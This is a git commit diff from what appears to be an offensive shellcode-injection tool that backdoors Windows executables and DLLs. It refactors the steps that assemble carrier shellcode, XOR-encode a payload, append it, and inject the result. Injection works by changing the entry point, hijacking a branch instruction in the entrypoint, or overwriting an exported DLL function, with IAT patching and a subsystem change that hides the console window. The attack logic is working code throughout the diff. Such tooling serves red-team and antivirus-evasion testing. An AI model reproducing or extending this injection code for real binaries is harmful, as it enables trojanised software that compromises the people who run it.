refactor: read shellcode (carrier, payload) directly, no more files

This commit is contained in:
Dobin
2024-05-08 14:34:19 +01:00
parent 012d1253af
commit 3aa79afd70
6 changed files with 41 additions and 47 deletions
+1
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@@ -59,6 +59,7 @@ def project(name):
payload_len = 0
unresolved_dlls = []
has_remote = False
has_rodata_section = False
if config.get("avred_server") != "":
has_remote = True
+5 -2
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@@ -22,13 +22,16 @@ PATH_WEB_PROJECT = "projects/"
# Correlated with real template files
# in data/plugins/
class DecoderStyle(Enum):
PLAIN_1 = "plain_1"
XOR_1 = "xor_1"
class PayloadLocation(Enum):
CODE = "code"
DATA = "data"
class CarrierInvokeStyle(Enum):
ChangeEntryPoint = "change AddressOfEntryPoint"
BackdoorCallInstr = "hijack branching instruction in entrypoint"
+5 -1
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@@ -5,7 +5,7 @@ logger = logging.getLogger("Views")
class Settings():
def __init__(self, web=""):
def __init__(self):
self.payload_path: FilePath = ""
# Settings
@@ -29,6 +29,10 @@ class Settings():
self.generate_asm_from_c: bool = True
self.generate_shc_from_asm: bool = True
# More
self.fix_missing_iat = False
self.payload_location = PayloadLocation.CODE
def prep_web(self, project_name):
self.main_dir = "{}{}/".format(PATH_WEB_PROJECT, project_name)
+8 -23
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@@ -9,9 +9,9 @@ from helper import *
logger = logging.getLogger("Assembler")
def asm_to_shellcode(asm_in: FilePath, build_exe: FilePath, shellcode_out: FilePath):
def asm_to_shellcode(asm_in: FilePath, build_exe: FilePath) -> bytes:
"""Takes ASM source file asm_in, compiles it into build_exe, extracts its code section and write into shellcode_out"""
logger.info("--[ Assemble to exe: {} -> {} -> {}".format(asm_in, build_exe, shellcode_out))
logger.info("--[ Assemble to exe: {} -> {}".format(asm_in, build_exe))
run_process_checkret([
config.get("path_ml64"),
asm_in,
@@ -22,24 +22,14 @@ def asm_to_shellcode(asm_in: FilePath, build_exe: FilePath, shellcode_out: FileP
if not os.path.isfile(build_exe):
raise Exception("Compiling failed")
code = extract_code_from_exe_file(build_exe)
observer.add_code_file("carrier_shc", code)
with open(shellcode_out, 'wb') as f:
f.write(code)
return code
def merge_loader_payload(
shellcode_in: FilePath,
shellcode_out: FilePath,
shellcode_in: bytes,
payload_data: bytes,
decoder_style: DecoderStyle
):
logger.info("--[ Merge stager with payload -> {}".format(
shellcode_out))
observer.add_code_file("payload_shc", payload_data)
with open(shellcode_in, 'rb') as input1:
data_stager = input1.read()
) -> bytes:
if decoder_style == DecoderStyle.PLAIN_1:
# Nothing to do
pass
@@ -48,12 +38,7 @@ def merge_loader_payload(
logger.info("---[ XOR payload with key 0x{:X}".format(xor_key))
payload_data = bytes([byte ^ xor_key for byte in payload_data])
logger.info("---[ Size: Stager: {} and Payload: {} Sum: {} ".format(
len(data_stager), len(payload_data), len(data_stager)+len(payload_data)))
logger.info("---[ Size: Carrier: {} and Payload: {} Sum: {} ".format(
len(shellcode_in), len(payload_data), len(shellcode_in)+len(payload_data)))
with open(shellcode_out, 'wb') as output:
# append them
data = data_stager + payload_data
output.write(data)
observer.add_code_file("loader_shc", data)
return shellcode_in + payload_data
+10 -12
View File
@@ -16,25 +16,23 @@ logger = logging.getLogger("Injector")
def inject_exe(
main_shc_path: FilePath,
settings: Settings,
project: Project,
main_shc: bytes,
settings: Settings, # Temp
carrier: Carrier,
):
shellcode_in = project.payload.payload_path
exe_in = settings.inject_exe_in
exe_out = settings.inject_exe_out
carrier_invoke_style: CarrierInvokeStyle = settings.carrier_invoke_style
source_style: FunctionInvokeStyle = settings.source_style
logger.info("--[ Injecting: {} into {} -> {}".format(
shellcode_in, exe_in, exe_out
logger.info("--[ Injecting: into {} -> {}".format(
exe_in, exe_out
))
# Read prepared loader shellcode
# And check if it fits into the target code section
main_shc = file_readall_binary(main_shc_path)
shellcode_len = len(main_shc)
code_sect_size = project.carrier.superpe.get_code_section().Misc_VirtualSize
code_sect_size = carrier.superpe.get_code_section().Misc_VirtualSize
if shellcode_len + 128 > code_sect_size:
raise Exception("Error: Shellcode {}+128 too small for target code section {}".format(
shellcode_len, code_sect_size
@@ -46,7 +44,7 @@ def inject_exe(
# Patch IAT if necessary
if source_style == FunctionInvokeStyle.iat_reuse:
for iatRequest in project.carrier.get_all_iat_requests():
for iatRequest in carrier.get_all_iat_requests():
iat_name = superpe.get_replacement_iat_for("KERNEL32.dll", iatRequest.name)
superpe.patch_iat_entry("KERNEL32.dll", iat_name, iatRequest.name)
@@ -54,7 +52,7 @@ def inject_exe(
shellcode_offset: int = 0 # file offset
if superpe.is_dll() and settings.dllfunc != "" and carrier_invoke_style == CarrierInvokeStyle.ChangeEntryPoint:
# Special case. put it at the beginning of the exported DLL function
# Special case: DLL exported function direct overwrite
logger.info("--[ Overwrite DLL function {} with shellcode".format(settings.dllfunc))
rva = superpe.getExportEntryPoint(settings.dllfunc)
@@ -118,8 +116,8 @@ def inject_exe(
function_backdoorer.backdoor_function(addr, shellcode_rva, shellcode_len)
if source_style == FunctionInvokeStyle.iat_reuse:
injected_fix_iat(superpe, project.carrier)
injected_fix_data(superpe, project.carrier)
injected_fix_iat(superpe, carrier)
injected_fix_data(superpe, carrier)
# changes from console to UI (no console window) if necessary
superpe.patch_subsystem()
+12 -9
View File
@@ -167,18 +167,21 @@ def start_real(settings: Settings):
# Assemble: Assemble .asm to .shc (ASM -> SHC)
if settings.generate_shc_from_asm:
phases.assembler.asm_to_shellcode(
carrier_shellcode: bytes = phases.assembler.asm_to_shellcode(
asm_in = settings.main_asm_path,
build_exe = settings.main_exe_path,
shellcode_out = settings.main_shc_path)
build_exe = settings.main_exe_path)
observer.add_code_file("carrier_shc", carrier_shellcode)
# Merge: shellcode/loader with payload (SHC + PAYLOAD -> SHC)
if True:
phases.assembler.merge_loader_payload(
shellcode_in = settings.main_shc_path,
shellcode_out = settings.main_shc_path,
if settings.payload_location == PayloadLocation.CODE:
logger.info("--[ Merge carrier with payload".format())
full_shellcode = phases.assembler.merge_loader_payload(
shellcode_in = carrier_shellcode,
payload_data = project.payload.payload_data,
decoder_style = settings.decoder_style)
observer.add_code_file("full_shc", full_shellcode)
elif settings.payload_location == PayloadLocation.DATA:
logger.error("Not impolemented yet: PayloadLocation.DATA")
# RWX Injection (optional): obfuscate loader+payload
#if project.exe_host.rwx_section != None:
@@ -190,7 +193,7 @@ def start_real(settings: Settings):
# shutil.move(settings.main_shc_path + ".sgn", settings.main_shc_path)
# inject merged loader into an exe
phases.injector.inject_exe(settings.main_shc_path, settings, project)
phases.injector.inject_exe(full_shellcode, settings, project.carrier)
observer.add_code_file("exe_final", extract_code_from_exe_file_ep(settings.inject_exe_out, 300))
if config.get("avred_server") != "":